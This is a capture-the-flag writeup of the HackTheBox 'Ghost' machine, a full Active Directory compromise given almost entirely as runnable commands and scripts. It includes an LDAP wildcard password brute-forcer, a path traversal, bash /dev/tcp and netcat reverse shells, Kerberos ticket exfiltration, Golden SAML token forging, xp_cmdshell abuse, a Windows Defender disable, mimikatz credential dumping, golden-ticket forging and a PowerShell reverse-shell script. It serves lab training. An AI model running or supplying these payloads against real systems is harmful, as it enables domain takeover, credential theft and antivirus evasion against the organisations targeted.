Post

HackTheBox Ghost Writeup

Explore the fundamentals of cybersecurity in the Ghost Capture The Flag (CTF) challenge, a insane-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.11.24 ghost.htb intranet.ghost.htb gitea.ghost.htb core.ghost.htb federation.ghost.htb bitbucket.ghost.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.24"
domain="ghost.htb intranet.ghost.htb gitea.ghost.htb core.ghost.htb federation.ghost.htb bitbucket.ghost.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
nmap -sCV ghost.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
Nmap scan report for ghost.htb (10.10.11.24)
Host is up (0.055s latency).
Not shown: 981 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-19 12:24:06Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
443/tcp  open  https?
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-11-19T12:17:22
|_Not valid after:  2054-11-19T12:17:22
|_ssl-date: 2024-11-19T12:25:26+00:00; +1s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-11-19T12:25:26+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2024-11-19T12:24:48+00:00
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2024-11-18T12:14:33
|_Not valid after:  2025-05-20T12:14:33
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8008/tcp open  http          nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 5 disallowed entries 
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-title: Ghost
|_http-generator: Ghost 5.78
8443/tcp open  ssl/http      nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after:  2124-05-25T15:14:02
| tls-nextprotoneg: 
|_  http/1.1
| tls-alpn: 
|_  http/1.1
| http-title: Ghost Core
|_Requested resource was /login
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-11-19T12:24:49
|_  start_date: N/A

Subdomains Discovery

Use ffuf to discover subdomains by fuzzing the Host header.

1
ffuf -w /usr/share/dict/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u "http://ghost.htb:8008" -H "Host: FUZZ.ghost.htb" -c -fs 7676

Discovered Subdomains

  • gitea.ghost.htb
  • intranet.ghost.htb
  • (and more discovered subdomains)

LDAP Wildcard

The backend appears to perform an LDAP comparison with the user input. By injecting a wildcard character * as input bypassed authentication, resulting in a valid JWT token.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import string
import requests
from pwn import *

url = 'http://intranet.ghost.htb:8008/login'
bar = log.progress("Bruteforcing password")
headers = {
    'Host': 'intranet.ghost.htb:8008',
    'Accept-Language': 'en-US,en;q=0.5',
    'Next-Router-State-Tree': '%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D',
    'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
    'Accept-Encoding': 'gzip, deflate, br',
    'Connection': 'keep-alive'
}
password = ""
try:
    while True:
        found = False
        for char in string.ascii_lowercase + string.digits:
            bar.status(f"Trying '{password + char}*'")
            files = {
                '1_ldap-username': (None, 'gitea_temp_principal'),
                '1_ldap-secret': (None, f'{password}{char}*'),
                '0': (None, '[{},"$K1"]')
            }
            res = requests.post(url, headers=headers, files=files)
            if res.status_code == 303:
                password += char
                found = True
                break
        if not found:
            break
except KeyboardInterrupt:
    bar.failure("Bruteforce interrupted")
bar.success(f"Final password: {password}")

After running the script, we obtain the following credentials for the user gitea_temp_principal:

  • Username: gitea_temp_principal
  • Password: szrr8kpc3z6onlqf

Using these credentials, sign in at:

An interesting file found on the server is:

This file reveals a potential API key:

  • API Key: a5af628828958c976a3b6cc81a

Path Traversal Proof of Concept

The following commands demonstrate a path traversal vulnerability, allowing access to restricted files:

1
2
pathtraversal="../../../../proc/self/environ"
curl -s "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=$pathtraversal&key=a5af628828958c976a3b6cc81a" | jq ".meta.extra.\"$pathtraversal\""

This yelds !@yqr!X2kxmQ.@Xe

Remote Code Execution

The path traversal vulnerability enables remote code execution (RCE). A notable file, scan.rs, contains information suggesting an endpoint that can be exploited:

Start a listener on your machine:

1
nc -lvnp 9001

Execute the payload:

1
2
vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
timeout 5s curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d "{\"url\":\"0<&196;exec 196<>/dev/tcp/${vpnip}/9001; /bin/bash <&196 >&196 2>&196\"}"

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

1
stty size; stty raw -echo; fg

As the last step, set the terminal environment:

1
export TERM=xterm;
1
cat /docker-entrypoint.sh

[!Note] ControlMaster is an OpenSSH SSO feature that allows multiple sessions to share a single network connection. After an initial ssh connection with authentication, subsequent sessions (svn, rsync, etc.) reuse the connection without re-authentication. Learn more: Harvard FAS Guide.

1
ls -l /root/.ssh/controlmaster/

As we can see we can ssh in the target

1
2
ssh florence.ramirez@ghost.htb@dev-workstation
env

An interesting file is /tmp/krb5cc_50 is a ticket so

Setup a listener to receive the file in the local machine:

1
nc -lp 12345 > /tmp/krb5cc_50

In the target transfer tath file

1
cat /tmp/krb5cc_50 > /dev/tcp/<vpnip>/12345

In you local machine:

1
2
export KRB5CCNAME=/tmp/krb5cc_50
klist

Used nsupdate with GSS-TSIG to add DNS entries dynamically via VPN IP; krbrelayx-dnstool -k failed earlier.

1
2
3
4
5
6
7
8
9
vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
nsupdate -g -D <<EOF
server 10.10.11.24
zone ghost.htb
update add bitbucket.ghost.htb. 180 A $vpnip
send
EOF
sleep 1
dig @10.10.11.24 bitbucket.ghost.htb A
1
sudo responder -I tun0

Brute Force the Hash

1
2
3
4
5
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 5600 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt

this yelds Qwertyuiop1234$$

1
evil-winrm -i ghost.htb -u JUSTIN.BRADLEY -p 'Qwertyuiop1234$$'
1
2
cat \users\justin.bradley\desktop\user.txt
Get-ADGroup -Identity Key Admins -Properties *

Members can perform admin actions on key domain objects. SID: S-1-5-21-4084500788-938703357-3654145966-526.

Query LDAP on your local machine:

1
nxc ldap 10.10.11.24 -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa

gMSA Account: adfs_gmsa$, NTLM Hash: 3d76bf27456f0e647a849e8afb99207a.

Golden SAML steps:

Add computer:

1
addcomputer.py -dc-ip 10.10.11.24 -method SAMR -computer-name PWN$ -computer-pass 'StrongPassword123!' ghost.htb/justin.bradley:'Qwertyuiop1234$$'

Connect with evil-winrm:

1
evil-winrm -i ghost.htb -u "ADFS_GMSA$" -H 3d76bf27456f0e647a849e8afb99207a

Upload & run ADFSDump.exe:

1
2
upload .local/www/win/lateral/ADFSDump.exe
./ADFSDump.exe

in your local pc

1
2
git clone https://github.com/mandiant/ADFSpoof
cd ADFSpoof
1
nano DKMKey.txt
1
8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

Only the second privatekey works, so no need to test the others unless it fails.

1
nano TKSKey.txt
1
<Encrypted Token Signing Key>

Decoding Files:

1
2
cat TKSKey.txt | base64 -d > TKSKey.bin
cat DKMKey.txt | tr -d "-" | xxd -r -p > DKMkey.bin

ADFSpoof:

1
2
3
4
5
6
python -m venv venv
source venv/bin/activate
nano requirements.txt # make lxml==4.9.1 to lxml
pip install -r requirements.txt
pip3 install --upgrade six # https://github.com/benjaminp/six/issues/384
python ADFSpoof.py -b TKSKey.bin DKMkey.bin -s federation.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat 'urn:oasis:names:tc:SAML:2.0:cm:bearer' --nameid 'ghost.htb\administrator' --rpidentifier 'https://core.ghost.htb:8443' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>administrator</AttributeValue></Attribute>'

Intercept GET /api/login https://core.ghost.htb:8443/api/login

In BurpSuite and Modify with this Request:

1
2
3
4
5
6
7
8
9
10
POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Length: 6397
Content-Type: application/x-www-form-urlencoded

SAMLResponse=<saml>

Response:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 19 Nov 2024 17:20:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 46
Connection: close
X-Powered-By: Express
Location: /
Vary: Accept
Set-Cookie: connect.sid=s%3AHdCD4yL0Or9uswU2OB07OihJ-joRcI23.njsU8sex04qQFG6MK%2FKNTkTqTHvOZj38%2FJN4aVGVb%2F8; Path=/; HttpOnly

<p>Found. Redirecting to <a href="/">/</a></p>

Browser Request Setup:

  • In Burp Suite’s Response tab, right-click and select Request in Browser. Copy the generated link and paste it in the browser where you are sending traffic through Burp’s proxy.
  • Click Repeat Request to initiate the request.

Now you can execute SQL queries on the remote server.

Verify Linked Servers:

1
2
EXEC sp_linkedservers;
SELECT * FROM master..sysservers;

Enable Command Execution on PRIMARY:

  • Execute commands on the remote PRIMARY machine (CORP.GHOST.HTB) by enabling xp_cmdshell. This configuration allows remote command execution.
1
2
3
4
5
6
EXECUTE('EXECUTE AS LOGIN = ''sa''; 
        EXEC SP_CONFIGURE ''show advanced options'', 1; 
        RECONFIGURE;
        EXEC SP_CONFIGURE ''xp_cmdshell'', 1; 
        RECONFIGURE;
        EXEC xp_cmdshell ''whoami''') AT "PRIMARY";

Reverse Shell Setup:

  • With command execution now available on PRIMARY, set up a reverse shell.

Prepare the Host for Reverse Shell:

  • Create a test directory:
1
2
3
4
5
6
EXECUTE('EXECUTE AS LOGIN = ''sa''; 
        EXEC SP_CONFIGURE ''show advanced options'', 1; 
        RECONFIGURE;
        EXEC SP_CONFIGURE ''xp_cmdshell'', 1; 
        RECONFIGURE;
        EXEC xp_cmdshell ''powershell.exe -c mkdir c:/test''') AT "PRIMARY";
  • Download Netcat:
1
2
3
4
5
6
EXECUTE('EXECUTE AS LOGIN = ''sa''; 
        EXEC SP_CONFIGURE ''show advanced options'', 1; 
        RECONFIGURE;
        EXEC SP_CONFIGURE ''xp_cmdshell'', 1; 
        RECONFIGURE;
        EXEC xp_cmdshell ''powershell.exe -c curl <vpnip>:8000/nc64.exe -o c:/test/nc64.exe''') AT "PRIMARY";
  • Listener:
1
nc -lvnp 9002
  • Execute Netcat for Reverse Shell:
1
2
3
4
EXECUTE('EXECUTE AS LOGIN = ''sa''; 
        EXEC SP_CONFIGURE ''xp_cmdshell'', 1; 
        RECONFIGURE;
        EXEC xp_cmdshell ''c:/test/nc64.exe <vpnip> 9002 -e powershell''') AT "PRIMARY";

whoami /priv shows SeImpersonatePrivilege so EfsPotato:

Local:

1
2
wget https://raw.githubusercontent.com/zcgonvh/EfsPotato/refs/heads/master/EfsPotato.cs
python -m http.server

Local:

1
nc -lvnp 9003

Target:

1
2
3
4
cd \test
curl http://<vpnip>:8000/EfsPotato.cs -o EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
.\EfsPotato.exe 'nc64.exe <vpnip> 9003 -e powershell.exe'
1
2
3
4
5
6
7
8
Set-MpPreference -DisableRealtimeMonitoring $True
curl http://<vpnip>:8000/mimikatz.exe -o mimikatz.exe
curl http://<vpnip>:8000/Rubeus.exe -o Rubeus.exe
curl http://<vpnip>:8000/PowerView.ps1 -o PowerView.ps1
. .\PowerView.ps1
Get-DomainSID 
Convert-NameToSid ghost.htb\krbtgt
Get-NetUser | Select-Object -Property samaccountname, objectsid

Note: Set-MpPreference disables antivirus to allow Mimikatz to run without interference.

Manual:

1
.\mimikatz.exe "lsadump::trust /patch" "exit"

Get rc4_hmac_nt 5800ef4f9195c6c03cf4ff911a80c55c from the [ In ].

To address the timing issue where the TGS may expire if the process isn’t fast enough, the following script automates the workflow with Mimikatz and Rubeus :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$mimikatzPath = ".\mimikatz.exe"
$rubeusPath = ".\Rubeus.exe"
$mimikatzTrustCmd = '"lsadump::trust /patch" exit'
$mimikatzGoldenCmd = '"kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:5800ef4f9195c6c03cf4ff911a80c55c /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi" exit'
$rubeusCmd = "/ticket:golden.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt"
$targetDirectory = "\\dc01.ghost.htb\c$\users\administrator\desktop\"
function Run-Command {
    param (
        [string]$cmd
    )
    & cmd /c $cmd | Out-Null
}
while ($true) {
    try {
        Run-Command "$mimikatzPath $mimikatzTrustCmd"
        Run-Command "$mimikatzPath $mimikatzGoldenCmd"
        Run-Command "$rubeusPath asktgs $rubeusCmd"
        $access = Test-Path $targetDirectory
        if ($access) {
            Write-Host "Access granted to $targetDirectory"
            dir $targetDirectory
            break
        } else {
            Write-Host "Access denied. Purging tickets and retrying..."
            klist purge
        }
    } catch {
        Write-Host "An error occurred: $_"
        klist purge
    }
}
type \\dc01.ghost.htb\c$\users\administrator\desktop\root.txt

Local:

1
nc -lvnp 9004

rce.ps1

1
$LHOST = "<vpnip>"; $LPORT = 9004; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

Local

1
2
curl -s https://github.com/Maksymilian-cloud/PsExec/raw/refs/heads/main/PsExec64.exe -o PsExec.exe
python -m http.server
1
2
3
4
curl http://<vpnip>:8000/rce.ps1 -o rce.ps1
curl http://<vpnip>:8000/PsExec64.exe -o PsExec64.exe
copy  C:\test\rce.ps1 \\dc01.ghost.htb\c$\programdata\rce.ps1
.\PsExec64.exe -accepteula \\DC01.ghost.htb cmd.exe /c "powershell -c C:\programdata\rce.ps1"

In 9004:

1
2
3
4
cd \
Set-MpPreference -DisableRealtimeMonitoring $True
curl http://10.10.14.54:8000/mimikatz.exe -o mimikatz.exe
.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"

1cdb17d5c14ff69e7067cffcc9e470bd

This post is licensed under CC BY 4.0 by the author.